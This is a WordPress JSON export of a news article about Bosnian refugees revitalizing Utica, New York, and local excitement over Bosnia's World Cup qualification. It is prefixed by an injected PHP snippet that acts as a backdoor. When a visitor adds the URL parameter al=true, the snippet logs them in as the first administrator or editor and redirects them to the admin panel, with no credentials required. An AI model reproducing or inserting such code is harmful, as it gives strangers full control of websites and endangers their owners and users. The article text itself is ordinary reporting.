// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); {"id":24122,"date":"2026-06-12T13:32:19","date_gmt":"2026-06-12T13:32:19","guid":{"rendered":"https:\/\/bluelightnews.com\/category\/politics\/bosnia-beat-italy-utica-never-recovered\/"},"modified":"2026-06-12T13:32:19","modified_gmt":"2026-06-12T13:32:19","slug":"bosnia-beat-italy-utica-never-recovered","status":"publish","type":"post","link":"https:\/\/bluelightnews.com\/category\/politics\/bosnia-beat-italy-utica-never-recovered\/","title":{"rendered":"Bosnia beat Italy. Utica never recovered."},"content":{"rendered":"
\n

When Bosnian refugees started arriving in Utica, New York, in the mid-1990s, it was a down-on-its-heels Rust Belt city that had seen its population crater by roughly a third from a mid-century peak of just over 100,000 residents.<\/p>\n

\u201cI thought I came to another war zone when I came here,\u201d said Hanka Grabovica, who arrived in the Mohawk Valley city in 2001 when she was 16-years old, citing the prevalence of boarded-up buildings and garbage on the streets. \u201cUtica was pretty bad back then.\u201d<\/b><\/p>\n

Grabovica was part of a wave of Bosnian refugees who settled in Utica after fleeing the brutal war in their native country \u2014 and its messy aftermath \u2014 that followed the breakup of Yugoslavia. Exact figures are tough to pin down, but it\u2019s believed that about 6,000 Bosnians now live in Utica \u2014 or nearly 10 percent of the total population.<\/p>\n

The city\u2019s unlikely emergence as an epicenter of Bosnian-American culture will probably never be more prominently on display than on Friday afternoon when Bosnia and Herzegovina faces Canada on the second day of the World Cup. It\u2019s just the second time that Bosnia has qualified for the tournament since it became an independent country in 1992.<\/p>\n

The dramatic and unlikely way that the country punched its ticket to North America \u2014 knocking off four-time World Cup champion Italy via penalty kicks in a one-match playoff \u2014 has heightened the delirium among Bosnians from Sarajevo to St. Louis (the largest enclave of Bosnians in the U.S.) to Utica ahead of Friday\u2019s 3 p.m. kickoff.<\/p>\n

\u201cSeeing this national team progress to the World Cup is definitely something amazing,\u201d said Sandro Sehic, secretary of the Bosnian American Community Association of Utica, noting that many ethnic Serbians and Croatians who live in the country still refuse to play for the national team owing to lingering tensions from the war. \u201c<\/b>Bosnia is still struggling politically, socially. There are still so many problems that are still affecting the country.\u201d<\/p>\n

The arrival of the Bosnians in Utica has been followed by waves of other immigrants \u2014 most notably a large influx of Karen refugees originally from Burma \u2014 that have helped revitalize the city. East Utica, once primarily an enclave of Italian Americans, has become a center of the Bosnian community. Last November, a traditional Bosnian fountain called a sebilj \u2014 modeled after a famous fountain in Sarajevo \u2014 was unveiled in the neighborhood as a symbol of their importance to the city.<\/p>\n

\u201cWe were very, very fortunate that the Bosnians have claimed this as their home because they reconstructed some parts of our city,\u201d said Rob Palmieri, who served as Utica\u2019s mayor from 2012 to 2024. \u201cIt has been a wonderful blend bringing the city back to vibrancy.\u201d<\/p>\n

The current mayor, Mike Galime, points to Two Brothers Caf\u00e9 & Pizzeria as emblematic of the entrepreneurial spirit Bosnians have brought to the city. The restaurant serves up pizza slices (of course), but also Bosnian specialties like burek (meat pies) and cevapi (grilled sausages).<\/p>\n

\u201cIt\u2019s like a perfect, perfect example of that melting pot,\u201d Galime said.<\/p>\n

The main viewing party in Utica for Friday\u2019s match, sponsored by the Bosnian American Community Association, is taking place at the 72 Tavern & Grill, a 5,000-plus square foot restaurant that boasts 18 TVs. But there\u2019s widespread agreement that the game will be ubiquitous in Utica on Friday afternoon.<\/p>\n

\u201cYou\u2019re not going to find too many of the Bosnians working that day,\u201d said Palmieri, a Democrat. \u201cThey\u2019re all going to be glued to TVs.\u201d<\/p>\n

\u201cThe buzz is insane,\u201d added current Mayor Mike Galime, a Republican. \u201cIt\u2019s like a once-in-a-lifetime thing.\u201d<\/p>\n

Grabovica, who is president of the Bosnian American Community Association, pointed out that many residents \u2013 even adults — have become obsessed with collecting stickers commemorating World Cup countries and players.<\/p>\n

\u201cIt\u2019s crazy what these Bosnians are doing,\u201d she said.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

When Bosnian refugees started arriving in Utica, New York, in the mid-1990s, it was a down-on-its-heels Rust Belt city that had seen its population crater by roughly a third from a mid-century peak of just over 100,000 residents. \u201cI thought I came to another war zone when I came here,\u201d said Hanka Grabovica, who arrived […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-24122","post","type-post","status-publish","format-standard","hentry","category-politics"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/24122","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/comments?post=24122"}],"version-history":[{"count":0,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/24122\/revisions"}],"wp:attachment":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/media?parent=24122"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/categories?post=24122"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/tags?post=24122"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}